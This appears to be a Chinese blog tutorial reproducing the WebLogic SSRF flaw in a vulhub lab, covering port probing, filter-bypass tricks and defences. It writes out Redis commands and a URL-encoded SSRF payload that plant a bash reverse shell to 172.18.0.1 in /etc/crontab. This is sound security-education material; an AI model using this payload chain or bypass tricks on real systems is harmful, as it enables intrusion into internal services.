Weblogic-SSRF漏洞复现

一、SSRF概念

服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。

二、SSRF用途

1.内外网的端口和服务扫描

2.主机本地敏感数据的读取

3.内外网主机应用程序漏洞的利用

4.内外网web站点漏洞的利用

三、漏洞影响版本

weblogic 10.0.2 -- 10.3.6

四、漏洞复现环境搭建

利用vulhub进行漏洞复现,docker搭建vulhub环境参考: https://blog.csdn.net/qq_36374896/article/details/84102101

Docker-compose build

Docker-compose up -d

五、漏洞复现

1.访问http://127.0.0.1:7001/uddiexplorer/,即可查看uddiexplorer应用

  

2.SSRF漏洞存在于http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp,提交参数值为url:port,根据返回错误不同,可对内网状态进行探测如端口开放状态等

2.1随便输入内容,抓包

  

2.2发现如下图operator参数,参数的值是url,怀疑可能存在SSRF漏洞

  

2.3测试是否存在SSRF漏洞,在url后跟端口,把url修改为自己搭建的服务器地址,访问开放的80端口,发现返回如下信息

  

2.4访问一个不存在的端口,将返回but could not connect over HTTP to server

  

2.5通过上面的测试,可以发现目标存在SSRF漏洞

3.注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的。

3.1发送3条redis的命令,将反弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/8888 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

3.2对命令进行URL编码,注意不能对所有命令编码,需要对部分特殊符号进行URL编码

http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

  

3.3监听,成功获得shell

  

六、SSRF漏洞的寻找

1.分享,通过URL地址分享网页内容

2.转码服务

3.在线翻译

4.图片加载与下载:通过URL地址加载或者下载图片

5.图片、文章收藏功能

6.未公开的api实现以及其他调用URL的功能

7.从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURI、imageURL、domain……

七、SSRF漏洞的验证方法

1.因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由服务器端发送的来判断是否存在SSRF漏洞

2.在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx.com/a.php?image=(地址)的可能存在SSRF漏洞

八、SSRF绕过技巧

1.添加端口号   http://127.0.0.1:8080

2.短网址绕过   http://dwz.cn/11SMa

3.IP限制绕过  十进制转换、八进制转换、十六进制转换、不同进制组合转换

4.协议限制绕过  当url协议限制只为http(s)时,可以利用follow redirect特性,构造302跳转服务,结合dict://,file://,gopher://

5.可以指向任意ip的域名:xip.io

6.@    http://abc@127.0.0.1

九、SSRF防御

1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2.统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。

3.限制请求的端口为http常用的端口,比如80,443,8080,8090

4.黑名单内网ip。避免应用被用来获取内网数据,攻击内网

5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题

  

---------------------------------------------------------------------------------------------------

参考连接:https://www.jianshu.com/p/6bf7700139fa

    https://www.jianshu.com/p/d1d1c40f6d4c

Weblogic-SSRF漏洞复现的更多相关文章

  1. SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)

    0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1)        扫描内网(主 ...

  2. weblogic系列漏洞整理 -- 5. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210)

    目录 五. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210) 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

  3. Weblogic CVE-2020-2551漏洞复现&CS实战利用

    Weblogic CVE-2020-2551漏洞复现 Weblogic IIOP 反序列化 漏洞原理 https://www.anquanke.com/post/id/199227#h3-7 http ...

  4. weblogic ssrf 漏洞笔记

    CVE-2014-4210 Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机.比如有一个jsp页面SearchPublicReqistries.jsp, ...

  5. Weblogic CVE-2020-2551漏洞复现

    Weblogic CVE-2020-2551漏洞复现 0x00 前言 在一次渗透测试过程中,碰见了该漏洞,并使用在野的POC验证了这个漏洞存在,当时工具网传的利用方式去进行利用,没有成功,可能是自己太 ...

  6. 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

    Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...

  7. WebLogic SSRF 漏洞 (简要翻译)

    [Ref]http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cv ...

  8. Weblogic CVE-2018-2894 漏洞复现

    0x01 前言 Oracle官方发布了7月份的关键补丁更新CPU(Critical Patch Update),其中针对可造成远程代码执行的高危漏洞 CVE-2018-2894 进行修复:http:/ ...

  9. Jira未授权SSRF漏洞复现(CVE-2019-8451)

    0x00 漏洞背景 Jira的/plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击 ...

  10. Weblogic SSRF漏洞(CVE-2014-4210)

    Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis.fastcgi等脆弱组件. 关于SSRF漏洞我们就不讲了,传送门--> SSRF(服务端请求 ...

随机推荐

  1. shell 命名管道,进程间通信, ncat作http server

    命名管道基础 命名管道也被称为FIFO文件, 在文件系统中是可见的,并且跟其它文件一样可以读写! 命名管道特点: 当写进程向管道中写数据的时候,如果没有进程读取这些数据,写进程会堵塞 当读取管道中的数 ...

  2. 如何搭建属于自己的Web服务器

    如今随着计算机和互联网技术的发展,上网现在已经不再是什么难事,打开浏览器,我们可以访问各种论坛站点,比如CSDN.博客园等,各种视频网站,例如爱奇艺,B站等.在网上我们可以写文章,看视频,购物,打游戏 ...

  3. PHP开发人员对JAVA的WEB开发入门(初版-基础知识)

    最近准备对其他部门PHP开发的童鞋做一个对JAVA的培训.知己知彼,百战不殆,我要先了解点PHP,才能确认他们的基础,达到好的授课效果. PHP(原始为Personal Home Page的缩写,后正 ...

  4. java.lang.IllegalArgumentException: java.util.zip.ZipException: invalid LOC header (bad signature)异常解决方法

    java.util.concurrent.ExecutionException: org.apache.catalina.LifecycleException: Failed to start com ...

  5. flex弹性布局没有生效

    display: -webkit-flex; /* 新版本语法: Chrome 21+ */ display: -webkit-box; /* 老版本语法: Safari, iOS, Android ...

  6. Java的包

    Java 包 Java面向对象的核心的概念:类.接口.抽象类.对象:[主体] 包的定义: 指的是一个程序的目录,在最早的时候,如果要开发一个程序,只需要定义一个Java文件,而后在这个文件中编写所需要 ...

  7. ABAP动态自建表维护程序Dynamin Process

    以前经常会遇到批量上传或修改数据到自建表的需求,所以在想是否可以做一个动态的程序,所有的自建表都可以用这个动态程序来维护. 于是就打算试着写动态的程序. 程序的要求:动态显示自建表ALV 动态下载Ex ...

  8. 机器视觉-python基础入门

    下载安装python版本 https://www.python.org/ 安装并且勾上为添加系统环境 然后进入cmd命令行里进行 这时候装成功了 然后装opencv依赖库 pip install  o ...

  9. 4.JavaCC处理中文字符

      要使JavaCC能够处理中文首先需要将语法描述文件的options块的UNICODE_INPUT选项设置为true: options { STATIS = false; DEBUG_PARSER ...

  10. BayaiM__ORACLE之ASM概念 --V 1.0.0

    BayaiM__ORACLE之ASM概念                                --V 1.0.0 -------------------------------------- ...